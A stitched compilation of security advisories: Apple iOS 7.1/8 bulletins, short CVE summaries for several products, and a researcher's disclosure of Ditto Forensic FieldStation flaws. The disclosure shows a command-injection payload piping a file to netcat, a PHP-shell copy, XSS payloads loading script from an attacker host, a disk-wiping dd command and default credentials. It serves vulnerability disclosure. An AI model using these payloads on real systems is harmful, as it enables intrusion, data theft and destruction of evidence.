Chrome Security Team CVE-2014-1294 : Google Chrome Security Team Installation note: This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. The version after applying this update will be "7.1". Information will also be posted to the Apple Security Updates web site: http://support.apple.com/kb/HT1222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.22 (Darwin) Comment: GPGTools - http://gpgtools.org iQIcBAEBAgAGBQJTGlvJAAoJEPefwLHPlZEwh2cP/iOvfDbgv78TKX2hsxttcy8l NTK4EbpYO0rEpqbQukIHwBrb+PtEWK4tdxWPNQV+8GnCPaLqmMXWxHZPkI02qXjI UxYNgPq+9MPcoFFdbbptz4azcwFa0rdsQtxL0MYRrUqW5ml86zjGsVWUDGMDFu9R fuujvU/JOGoIYVxFQziEScnMfryw61b/JObcT/mDzXv/IcKhuMzMfp4cbnXq7Mmx NOpIQ0syx5oH7jadJA72iX7UyUuoydAcD3gaJDbLLfjEM8giDTL/TmH1HpuJjDHq Zmj0NMlMqAztoFzpHZxlJ6kYjFYs7heyWgm3HQ+dwT0cDajFEZUEJGuBBO+P6dwp cVlhDJ87crsP2ctUn46EUGFw5fFZRPEUqm4r0M/3o8z2ZPDqFxIBwMHEEV2LJtuN lKjHYYWTO9BZOg87pm/HLpNqqTEz7J1eDWVJiRh5kZarp8w5KgZhBhYkltlPKwOo Uh1SvUH+CjgNQTObSLv+e2EJ0So8gi3xBGHOrOdcof33fTsyL4WDvHEIvs4l1jUY f29uha46K3dVZpJtFV3xTiwm6fodWgTR4xhWSAAVI2V8V4KLQMEHu7+eV+cURmme JLdVgzxXw0uZHP874Uy60qR+6KBdEkIvgAoDHmd9jLnZMJTQAcn7PjcZz2z/V25u 3bQ2RrEc85Xqs7adpinL =W1ik -----END PGP SIGNATURE-----

Apple Safari before 6.1.1 and 7.x before 7.0.1 allows remote attackers to bypass the Same Origin Policy and discover credentials by triggering autofill of subframe form fields. Apple Safari is prone to multiple remote information-disclosure vulnerabilities. Successful exploits may allow attackers to gain access to sensitive information. Information obtained may lead to further attacks. Versions prior to Apple Safari 6.1.1 and 7.0.1 are vulnerable. Apple Safari versions 6.1.1 and 7.0.1 may have autofilled usernames and passwords into subframes (rather than the main frame) for other domains. User credentials can be leaked to unintended websites through autofill. For OS X Mountain Lion systems Safari 6.1 may be obtained from Mac App Store. CVE-ID CVE-2014-1276 : Min Zheng, Hui Xue, and Dr. This issue was mitigated by using SSL and prompting the user during URL redirects. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 APPLE-SA-2014-09-17-1 iOS 8 iOS 8 is now available and addresses the following: 802.1X Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: An attacker can obtain WiFi credentials Description: An attacker could have impersonated a WiFi access point, offered to authenticate with LEAP, broken the MS-CHAPv1 hash, and used the derived credentials to authenticate to the intended access point even if that access point supported stronger authentication methods. This issue was addressed by disabling LEAP by default. CVE-ID CVE-2014-4364 : Pieter Robyns, Bram Bonne, Peter Quax, and Wim Lamotte of Universiteit Hasselt Accounts Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to identify the Apple ID of the user Description: An issue existed in the access control logic for accounts. A sandboxed application could get information about the currently-active iCloud account, including the name of the account. This issue was addressed by restricting access to certain account types from unauthorized applications. CVE-ID CVE-2014-4423 : Adam Weaver Certificate Trust Policy Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Update to the certificate trust policy Description: The certificate trust policy was updated. The complete list of certificates may be viewed at http://support.apple.com/kb/HT5012. Accessibility Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: The device may not lock the screen when using AssistiveTouch Description: A logic issue existed in AssistiveTouch's handling of events, which resulted in the screen not locking. This issue was addressed through improved handling of the lock timer. CVE-ID CVE-2014-4368 : Hendrik Bettermann Accounts Framework Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: An attacker with access to an iOS device may access sensitive user information from logs Description: Sensitive user information was logged. This issue was addressed by logging less information. CVE-ID CVE-2014-4357 : Heli Myllykoski of OP-Pohjola Group Address Book Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with physical access to an iOS device may read the address book Description: The address book was encrypted with a key protected only by the hardware UID. This issue was addressed by encrypting the address book with a key protected by the hardware UID and the user's passcode. CVE-ID CVE-2014-4352 : Jonathan Zdziarski App Installation Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A local attacker may be able to escalate privileges and install unverified applications Description: A race condition existed in App Installation. An attacker with the capability of writing to /tmp may have been able to install an unverified app. This issue was addressed by staging files for installation in another directory. CVE-ID CVE-2014-4386 : evad3rs App Installation Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A local attacker may be able to escalate privileges and install unverified applications Description: A path traversal issue existed in App Installation. A local attacker could have retargeted code signature validation to a bundle different from the one being installed and cause installation of an unverified app. This issue was addressed by detecting and preventing path traversal when determining which code signature to verify. CVE-ID CVE-2014-4384 : evad3rs Assets Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: An attacker with a privileged network position may be able to cause an iOS device to think that it is up to date even when it is not Description: A validation issue existed in the handling of update check responses. Spoofed dates from Last-Modified response headers set to future dates were used for If-Modified-Since checks in subsequent update requests. This issue was addressed by validation of the Last-Modified header. CVE-ID CVE-2014-4383 : Raul Siles of DinoSec Bluetooth Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Bluetooth is unexpectedly enabled by default after upgrading iOS Description: Bluetooth was enabled automatically after upgrading iOS. This was addressed by only turning on Bluetooth for major or minor version updates. CVE-ID CVE-2014-4354 : Maneet Singh, Sean Bluestein CoreGraphics Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Opening a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution Description: An integer overflow existed in the handling of PDF files. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-4377 : Felipe Andres Manzano of Binamuse VRT working with the iSIGHT Partners GVP Program CoreGraphics Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Opening a maliciously crafted PDF file may lead to an unexpected application termination or an information disclosure Description: An out of bounds memory read existed in the handling of PDF files. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-4378 : Felipe Andres Manzano of Binamuse VRT working with the iSIGHT Partners GVP Program Data Detectors Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Tapping on a FaceTime link in Mail would trigger a FaceTime audio call without prompting Description: Mail did not consult the user before launching facetime-audio:// URLs. This issue was addressed with the addition of a confirmation prompt. CVE-ID CVE-2013-6835 : Guillaume Ross Foundation Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: An application using NSXMLParser may be misused to disclose information Description: An XML External Entity issue existed in NSXMLParser's handling of XML. This issue was addressed by not loading external entities across origins. CVE-ID CVE-2014-4374 : George Gal of VSR (http://www.vsecurity.com/) Home & Lock Screen Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A background app can determine which app is frontmost Description: The private API for determining the frontmost app did not have sufficient access control. This issue was addressed through additional access control. CVE-ID CVE-2014-4361 : Andreas Kurtz of NESO Security Labs and Markus TroBbach of Heilbronn University iMessage Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Attachments may persist after the parent iMessage or MMS is deleted Description: A race condition existed in how attachments were deleted. This issue was addressed by conducting additional checks on whether an attachment has been deleted. CVE-ID CVE-2014-4353 : Silviu Schiau IOAcceleratorFamily Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: An application may cause an unexpected system termination Description: A null pointer dereference existed in the handling of IOAcceleratorFamily API arguments. This issue was addressed through improved validation of IOAcceleratorFamily API arguments. CVE-ID CVE-2014-4369 : Catherine aka winocm IOAcceleratorFamily Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: The device may unexpectedly restart Description: A NULL pointer dereference was present in the IntelAccelerator driver. The issue was addressed by improved error handling. CVE-ID CVE-2014-4373 : cunzhang from Adlab of Venustech IOHIDFamily Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to read kernel pointers, which can be used to bypass kernel address space layout randomization Description: An out-of-bounds read issue existed in the handling of an IOHIDFamily function. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-4379 : Ian Beer of Google Project Zero IOHIDFamily Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to execute arbitrary code with system privileges Description: A heap buffer overflow existed in IOHIDFamily's handling of key-mapping properties. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-4404 : Ian Beer of Google Project Zero IOHIDFamily Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to execute arbitrary code with system privileges Description: A null pointer dereference existed in IOHIDFamily's handling of key-mapping properties. This issue was addressed through improved validation of IOHIDFamily key-mapping properties. CVE-ID CVE-2014-4405 : Ian Beer of Google Project Zero IOHIDFamily Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to execute arbitrary code with kernel privileges Description: An out-of-bounds write issue existed in the IOHIDFamily kernel extension. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-4380 : cunzhang from Adlab of Venustech IOKit Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to read uninitialized data from kernel memory Description: An uninitialized memory access issue existed in the handling of IOKit functions. This issue was addressed through improved memory initialization CVE-ID CVE-2014-4407 : @PanguTeam IOKit Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to execute arbitrary code with system privileges Description: A validation issue existed in the handling of certain metadata fields of IODataQueue objects. This issue was addressed through improved validation of metadata. CVE-ID CVE-2014-4418 : Ian Beer of Google Project Zero IOKit Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to execute arbitrary code with system privileges Description: A validation issue existed in the handling of certain metadata fields of IODataQueue objects. This issue was addressed through improved validation of metadata. CVE-ID CVE-2014-4388 : @PanguTeam IOKit Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to execute arbitrary code with system privileges Description: An integer overflow existed in the handling of IOKit functions. This issue was addressed through improved validation of IOKit API arguments. CVE-ID CVE-2014-4389 : Ian Beer of Google Project Zero Kernel Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A local user may be able to determine kernel memory layout Description: Multiple uninitialized memory issues existed in the network statistics interface, which led to the disclosure of kernel memory content. This issue was addressed through additional memory initialization. CVE-ID CVE-2014-4371 : Fermin J. Serna of the Google Security Team CVE-2014-4419 : Fermin J. Serna of the Google Security Team CVE-2014-4420 : Fermin J. Serna of the Google Security Team CVE-2014-4421 : Fermin J. Serna of the Google Security Team Kernel Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with a privileged network position may cause a denial of service Description: A race condition issue existed in the handling of IPv6 packets. This issue was addressed through improved lock state checking. CVE-ID CVE-2011-2391 : Marc Heuse Kernel Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A local user may be able to cause an unexpected system termination or arbitrary code execution in the kernel Description: A double free issue existed in the handling of Mach ports. This issue was addressed through improved validation of Mach ports. CVE-ID CVE-2014-4375 : an anonymous researcher Kernel Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A local user may be able to cause an unexpected system termination or arbitrary code execution in the kernel Description: An out-of-bounds read issue existed in rt_setgate. This may lead to memory disclosure or memory corruption. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-4408 Kernel Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Some kernel hardening measures may be bypassed Description: The random number generator used for kernel hardening measures early in the boot process was not cryptographically secure. Some of its output was inferable from user space, allowing bypass of the hardening measures. This issue was addressed by using a cryptographically secure algorithm. CVE-ID CVE-2014-4422 : Tarjei Mandt of Azimuth Security Libnotify Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may be able to execute arbitrary code with root privileges Description: An out-of-bounds write issue existed in Libnotify. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-4381 : Ian Beer of Google Project Zero Lockdown Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A device can be manipulated into incorrectly presenting the home screen when the device is activation locked Description: An issue existed with unlocking behavior that caused a device to proceed to the home screen even if it should still be in an activation locked state. This was addressed by changing the information a device verifies during an unlock request. CVE-ID CVE-2014-1360 Mail Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Login credentials can be sent in plaintext even if the server has advertised the LOGINDISABLED IMAP capability Description: Mail sent the LOGIN command to servers even if they had advertised the LOGINDISABLED IMAP capability. This issue is mostly a concern when connecting to servers that are configured to accept non- encrypted connections and that advertise LOGINDISABLED. This issue was addressed by respecting the LOGINDISABLED IMAP capability. CVE-ID CVE-2014-4366 : Mark Crispin Mail Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with physical access to an iOS device may potentially read email attachments Description: A logic issue existed in Mail's use of Data Protection on email attachments. This issue was addressed by properly setting the Data Protection class for email attachments. CVE-ID CVE-2014-1348 : Andreas Kurtz of NESO Security Labs Profiles Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Voice Dial is unexpectedly enabled after upgrading iOS Description: Voice Dial was enabled automatically after upgrading iOS. This issue was addressed through improved state management. CVE-ID CVE-2014-4367 : Sven Heinemann Safari Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: User credentials may be disclosed to an unintended site via autofill Description: Safari may have autofilled user names and passwords into a subframe from a different domain than the main frame. This issue was addressed through improved origin tracking. CVE-ID CVE-2013-5227 : Niklas Malmgren of Klarna AB Safari Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: An attacker with a privileged network position may intercept user credentials Description: Saved passwords were autofilled on http sites, on https sites with broken trust, and in iframes. This issue was addressed by restricting password autofill to the main frame of https sites with valid certificate chains. CVE-ID CVE-2014-4363 : David Silver, Suman Jana, and Dan Boneh of Stanford University working with Eric Chen and Collin Jackson of Carnegie Mellon University Sandbox Profiles Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Apple ID information is accessible by third-party apps Description: An information disclosure issue existed in the third- party app sandbox. This issue was addressed by improving the third- party sandbox profile. CVE-ID CVE-2014-4362 : Andreas Kurtz of NESO Security Labs and Markus TroBbach of Heilbronn University Settings Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Text message previews may appear at the lock screen even when this feature is disabled Description: An issue existed in the previewing of text message notifications at the lock screen. As a result, the contents of received messages would be shown at the lock screen even when previews were disabled in Settings. The issue was addressed through improved observance of this setting. CVE-ID CVE-2014-4356 : Mattia Schirinzi from San Pietro Vernotico (BR), Italy syslog Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A local user may be able to change permissions on arbitrary files Description: syslogd followed symbolic links while changing permissions on files. This issue was addressed through improved handling of symbolic links. CVE-ID CVE-2014-4372 : Tielei Wang and YeongJin Jang of Georgia Tech Information Security Center (GTISC) Weather Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Location information was sent unencrypted Description: An information disclosure issue existed in an API used to determine local weather. This issue was addressed by changing APIs. WebKit Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious website may be able to track users even when private browsing is enabled Description: A web application could store HTML 5 application cache data during normal browsing and then read the data during private browsing. This was addressed by disabling access to the application cache when in private browsing mode. CVE-ID CVE-2014-4409 : Yosuke Hasegawa (NetAgent Co., Led.) WebKit Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Visiting a maliciously crafted website may lead to an unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues existed in WebKit. These issues were addressed through improved memory handling. CVE-ID CVE-2013-6663 : Atte Kettunen of OUSPG CVE-2014-1384 : Apple CVE-2014-1385 : Apple CVE-2014-1387 : Google Chrome Security Team CVE-2014-1388 : Apple CVE-2014-1389 : Apple CVE-2014-4410 : Eric Seidel of Google CVE-2014-4411 : Google Chrome Security Team CVE-2014-4412 : Apple CVE-2014-4413 : Apple CVE-2014-4414 : Apple CVE-2014-4415 : Apple WiFi Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A device may be passively tracked by its WiFi MAC address Description: An information disclosure existed because a stable MAC address was being used to scan for WiFi networks. This issue was addressed by randomizing the MAC address for passive WiFi scans. Note: iOS 8 contains changes to some diagnostic capabilities. For details, please consult http://support.apple.com/kb/HT6331 iOS 8 now permits devices to untrust all previously trusted computers. Instructions can be found at http://support.apple.com/kb/HT5868 Installation note: This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. The version after applying this update will be "8". Information will also be posted to the Apple Security Updates web site: http://support.apple.com/kb/HT1222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.22 (Darwin) Comment: GPGTools - http://gpgtools.org iQIcBAEBAgAGBQJUGNl6AAoJEBcWfLTuOo7tD0oP/2QjJQxEaVKH5GhKX7HTLB9e W2oU7kHqds6p9HQg3iw9SXs/c03EH2++Tf5+Kul8V94QZB2jD4T28MUctAjrvSX7 rHRTPFJn8dm6Dr/zReon3q6ph8PlnDGySJLON/RwrSwHpWcd8wA4uCC6gTPur3T9 tNfPrkT+b4iO4QsSLQaK6bJqTFmWruqEFwdXmtOY8qYOsEANMr9HPdm9WwEcdQaZ tZZpa1FU4jIdfHZw18a3rzQ1LW4OO9fWbihKRgY8xq+Q8+Cs/EnY9hCIN0jl0OHm TMvKojeO4CCBAKpwUQOVERkI4Oc7Ux6GefT84ttYu095KzmZVjq9yWmi0FcBAVMV s32YL/alCNm86uNvxvkAvWJ3ZeZymuoTZHoNX5YNGIhuunRZONK94ay1RtYMdWPl iesWma7tn9g/xMWRaDKfRy2vtUuetBVxiaAr3AqvMp+mx0lmmLOO8x1SxeKe+QUy HO1O1DVAWPv2JIEf7mstDBHfQKYBRcgM3P4DJAgkrgH42ZNWb06ZyQhpAvFLVncD g2/Q0cwUlPOvdNKxoUD3IVVwPZeIefw3vqrSHXSQPpIMkJJFrBbIB8v6nnkheebg h5bPWfIxP0wuBjWz8SjOlPaSjxNxpmHK3H0tLU1q6TneBlmte405ytT4zSI7bvOY ZZCDpw0BRMEXUyXqTns7 =hlmW -----END PGP SIGNATURE-----

The SCADA server in Ecava IntegraXor before 4.1.4369 allows remote attackers to read arbitrary project backup files via a crafted URL. Ecava IntegraXor is a human interface product that uses HTML and SVG. Ecava IntegraXor has a sensitive information disclosure vulnerability that allows an attacker to exploit a vulnerability to obtain project directory information. Ecava IntegraXor is prone to an information-disclosure vulnerability. Versions prior to IntegraXor 4.1.4369 are vulnerable

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Ecava IntegraXor. Authentication is not required to exploit this vulnerability.The specific flaw exists within the storing of credentials in cleartext. The issue lies in the ability to bypass file access restrictions. This can be used along with the automatic creation of backup files, which are created whenever changes are made to a project. By abusing this flaw an attacker can disclose credentials and possibly leverage this situation to achieve remote code execution.

FortiGuard FortiAuthenticator before 3.0 allows remote administrators to gain privileges via the command line interface. Fortinet FortiAuthenticator is prone to an unspecified local privilege-escalation. Local attackers can exploit this issue to gain access to the system shell and run arbitrary shell commands with elevated privileges. Fortinet FortiAuthenticator 1.x and 2.x are vulnerable. FortiGuard FortiAuthenticator is a series of security authentication software from Fortinet. It can be combined with FortiToken (two-factor authentication token) to provide secure two-factor authentication to third-party devices authenticated by RADIUS or LDAP. A security vulnerability exists in FortiGuard FortiAuthenticator 2.2 and earlier versions

Multiple array index errors in drivers/media/video/msm/server/msm_cam_server.c in the MSM camera driver for the Linux kernel 3.x, as used in Qualcomm Innovation Center (QuIC) Android contributions for MSM devices and other products, allow attackers to gain privileges by leveraging camera device-node access, related to the (1) msm_ctrl_cmd_done, (2) msm_ioctl_server, and (3) msm_server_send_ctrl functions. The Linux kernel is prone to a local privilege-escalation vulnerability. Local attackers can exploit this issue to gain elevated privileges on affected computers. Other attacks are also possible. Android for MSM is an Android MSM project, the main purpose of this project is to build an Android platform that includes Qualcomm MSM chipset

Netgear is a well-known manufacturer of network equipment. Its router products are mainly used for enterprises and individual users. Many routers produced by NetGear have backdoors. The backdoor is the super user and password set by the manufacturer. The attacker can use the backdoor to obtain the root authority of the router in the adjacent network, and then implant the Trojan horse to completely control the user's router. Subsequent dns hijacking attacks can be launched.

The training-registration page in Cisco WebEx Training Center allows remote attackers to modify unspecified fields via unknown vectors, aka Bug ID CSCul35990. Vendors have confirmed this vulnerability Bug ID CSCul35990 It is released as.A third party may change unspecified fields. An attacker may leverage this issue to insert and display spoofed content, which may aid in further attacks. This issue is tracked by Cisco Bug ID CSCul35990. Cisco WebEx Training Center is an e-learning solution in a set of WebEx meeting solutions of Cisco (Cisco). The program provides a wealth of tools for online classrooms, online training, and online exams. A remote attacker could exploit this vulnerability to modify page fields

Cisco WebEx Meeting Center allows remote attackers to obtain sensitive information by reading verbose error messages within server responses, aka Bug ID CSCul35928. Cisco WebEx Meeting Center Contains a vulnerability in which important information is obtained. Successfully exploiting this issue may allow an attacker to obtain sensitive information that may aid in further attacks. This issue is tracked by Cisco Bug ID CSCul35928. The product invites others to join the meeting via email or instant messaging (IM), enabling online product demonstrations, information sharing, and more

CRU Ditto Forensic FieldStation with firmware before 2013Oct15a allows remote attackers to execute arbitrary commands via shell metacharacters in the (1) sector size or (2) skip count fields for the forensic imaging task. Ditto Forensic FieldStation is prone to multiple html-injection vulnerabilities, an unspecified cross-site request-forgery vulnerability, multiple remote command-injection vulnerabilities and an authentication-bypass vulnerability. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, execute arbitrary commands in the context of the application, disclose sensitive information, perform certain administrative actions, gain unauthorized access, or bypass certain security restrictions. CRU Ditto Forensic FieldStation is a data capture and data analysis device in the WiebeTech family of American CRU company. The device clones disks and creates disk images over the network or VPN, and is capable of recording user activities for forensic analysis. There is a security vulnerability in CRU Ditto Forensic FieldStation with firmware version 2013jun30a and earlier. A remote attacker can exploit this vulnerability to inject and execute arbitrary shell commands. ************************************************************** Title: Ditto Forensic FieldStation, multiple vulnerabilities Versions affected: <= 2013Oct15a (all) Vendor: CRU Wiebetech Discovered by: Martin Wundram Email: wundram@digitrace.de Date found: 2013-04-22 Date published: 2013-12-12 Status: partially patched ************************************************************** 0] ======== Introduction / Background / Impact ======== In computer forensics (http://en.wikipedia.org/wiki/Computer_forensics) one essential requirement is that evidence data does not get modified at all (or not unnoticed, at least). Therefore IT forensic experts use write-blockers to ensure a read-only access to evidence data like hard disks or USB mass storage. The Ditto Forensic FieldStation is such a special equipment (hardware with embedded software) used by forensic experts to analyse and copy evidence data in a safe and secure way. The ditto is explicitly marketed as a device to acquire data from network file shares, too. This means it is meant to be connected to possibly hostile networks of suspects. However it was found to be vulnerable up to the point of not being reliable as a computer forensic device. 1] ======== OS Command Injection ======== Class: Command Injection [CWE-77] Impact: Code execution Remotely Exploitable: Yes CVE Name: CVE-2013-6881 CVSS v2 Base Score: 10 Overall CVSS v2 Score: 9.2 CVSS v2 Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) Several input fields of the web application are vulnerable to OS command injection. E.g. Because of improper neutralization in combination with the web server running with root privileges, an attacker is able to access and manipulate the complete system. Example 1 (setting of 'sector size' = 1 with malicious content): 1;cat /opt/web/htdocs/index.php | nc 192.168.1.1 6666; Example 2 (setting of 'set-size' = 1 with copying a PHP shell from the external SD card): 1;cp /ditto/shell.php /opt/web/htdocs; 2] ======== Persistent XSS ======== Class: Cross-site Scripting [CWE-79] Impact: Code execution Remotely Exploitable: Yes Status: unpatched CVE Name: CVE-2013-6882 CVSS v2 Base Score: 9 Overall CVSS v2 Score (if patched): 9.2 CVSS v2 Vector: (AV:N/AC:L/Au:N/C:P/I:C/A:P/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) Overall CVSS v2 Score (unpatched): 10 The web application suffers from multiple vulnerabilities regarding XSS. The first one (a) is critical because an unauthorized attacker is able to push malicious code into the system and consequently attacking every user. The other ones (b) need authentication first. a) The web application logs every login (including the username) in a not sanitized way to a system log. Additionally, the web application embeds that system log rendered as HTML into the start page of every user who successfully logs in. Thus an unprivileged attacker can persistently inject malicious code which attacks all users of the vulnerable system immediately after their login. Example: POSTDATA= user=demo%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E &pass=demo&login=Log+In b) It is easily possible to submit malicious data as input into multiple HTML form fields (e.g. one can force the system to load externally hosted JavaScript code with <script src=http://www.hacker.tld/code.js></script>). This can result in dangerous situations where the (external) JavaScript code mangles the information displayed about important computer forensic key values whose integrity is crucial. Example: 784 PetaByte (PB) source disk instead of 32 GB, investigator "Al Capone", "verify actions: yes" instead of "no", ... 3] ======== Cross-Site Request Forgery ======== Class: Cross-Site Request Forgery [CWE-352] Impact: Application misuse Remotely Exploitable: Yes CVE Name: CVE-2013-6883 CVSS v2 Base Score: 6.6 Overall CVSS v2 Score: 8 CVSS v2 Vector: (AV:N/AC:H/Au:N/C:P/I:C/A:P/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) The web application is vulnerable to attacks using Cross-Site Request Forgery. E.g. the disk erase technique (correct settings are important for the reliable deletion of sensitive forensic data) can be changed with a simple POST request. 4] ======== Misconfigured Daemon Rights ======== Class: Configuration [CWE-16] Impact: Full system access The web server lighthttpd and the PHP engine are run as user 'root'. Thus injection weaknesses in the 'ditto' web application result in immediate full system access. 5] ======== Unneeded Daemons/Software ======== Class: Configuration [CWE-16] Impact: Attackable services Best matching CCE-ID: CCE-4268-9 Forensic usage needs only write-blocking and imaging of evidence data. However, the base system contains further active software and services. This helps attacking the system and escalating privileges. The tools/daemons are especially netcat and an active SSHd. Furthermore, the SSHd binds to the network port which is labeled as 'source' and thus intended for usage in supposedly hostile network environments - the network containing evidence data from suspects. 6] ======== Use of standard credentials ======== Class: Use of Hard-coded Credentials [CWE-798] Impact: unwanted full system access Remotely Exploitable: Yes CVE Name: CVE-2013-6884 CVSS v2 Base Score: 10 Overall CVSS v2 Score: 9.2 CVSS v2 Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) The ditto write-blocker contains a default system user named 'ditto' with the default password 'ditto' which is allowed to elevate its user rights to root (sudo) without further authentication. In combination with the active SSHd, this vulnerability allows attackers full access to the ditto if it gets connected to the same/reachable network. 7] ======== Misconfigured Core System ======== Class: Configuration [CWE-16] Impact: Alteration of evidence data Remotely Exploitable: Yes Although explicitly marketed as a hardware write-blocker, the ditto does not implement any specific write-blocking mechanism at all. The underlying system is able to manipulate or even erase evidence on devices which are connected to the 'source side' of the ditto. The problem is: no hardware-level, no driver- level and no kernel-level (blockdev) write-blocking are implemented. Only the web application prevents the user from writing to the source media. That is just security by obscurity. Finally, every critical weakness or simple malfunction in the web application can potentiallly lead to overwriting of source/evidence data. Furthermore, the embedded Linux system itself mounts the system partition as writable. Thus malware could be persistently deployed! Example: One can simply overwrite supposedly write-protected source data (USB stick and SATA disk) with dd if=/dev/zero of=/dev/sda. 8] ======== Solution ======== Upgrade your ditto to the newest available firmware (2013Oct15a). Don't connect the device to potentially hostile networks. Examine your device if it has been manipulated at an earlier time (has someone placed a backdoor in the embedded Linux, or a malware which silently manipulates evidence data or copies of evidence data?). 9] ======== Report Timeline ======== 2013-04-22 Discovery of vulnerabilities 2013-04-23 First contact with vendor including agreement about later public disclosure 2013-04-26 Detailed information about vulnerabilities provided to vendor 2013-06-30 Vendor fixes some vulnerabilities with firmware 2013Jun30a 2013-10-15 Vendor fixes some vulnerabilities with firmware 2013Oct15a 2013-11-26 Information with details provided to vendor about upcoming public disclosure. Vendor gave feedback regarding technical accuracy of this report 2013-12-12 Public disclosure 10] ======== Discussion ======== Because integrity is of utmost importance during the forensic process (correct handling of evidence data and correct deduction of conclusions 